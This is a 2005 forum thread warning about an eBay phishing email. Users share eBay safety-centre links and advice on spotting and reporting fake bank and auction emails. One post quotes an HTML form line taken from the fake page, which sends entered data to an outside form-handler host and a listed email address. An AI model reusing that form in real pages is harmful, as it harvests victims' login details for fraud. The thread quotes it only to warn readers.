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Old 03 June 2005, 08:40   #1
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Ebay scam

I've had a very convincing looking Ebay "phishing" email forwarded to me. It attempts to dupe the recipient into giving out their Ebay login details which may then be used fraudulently. If you use Ebay, or any other on-line financial site (PayPal, bank, credit card etc) you should be aware of these scams.

More details of the particular Ebay scam here

More general information about phishing here

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Old 03 June 2005, 09:37   #2
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links don't work John.
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Old 03 June 2005, 10:57   #3
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Try these:

http://pages.ebay.co.uk/safetycentre/spoof.html

http://pages.ebay.co.uk/safetycentre...EX:HP_overview

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Old 03 June 2005, 12:06   #5
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links don't work John.
Alex is right -- they do!

If you are on a slow connection it might seem like nothing's happening because the way the pages are designed means they don't load bit by bit, but all at once after a bit of a delay.

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They work now!! But they didn't .


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I've had this dodgy ebay phisher three times now, have always reported it to ebay let my mates know etc. the dead giveaway is looking at the properties of the sender it doesnt look like normal ebay traffic.
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Oh dear, another doing the rounds this evening, hidden in the very realistic e bay web page was this line of code:

<form name="form" action="http://webtools.snip.net/FormHandler.ashx" method="post"> <div align="center"><input type=hidden name="xto" value="alexhevs45@yahoo.co.uk">

So Alex has now been signed up to some interesting adult web sites.

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Not just these but convincing emails pretending to be from various banks as well - they will NEVER ask you to reveal passwords or pin numbers etc!!!! If you get any ALWAYS report them ASAP - they will stop them - for a while!!!
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Not just these but convincing emails pretending to be from various banks as well - they will NEVER ask you to reveal passwords or pin numbers etc!!!! If you get any ALWAYS report them ASAP - they will stop them - for a while!!!
I get these all the time, how should I report them to?
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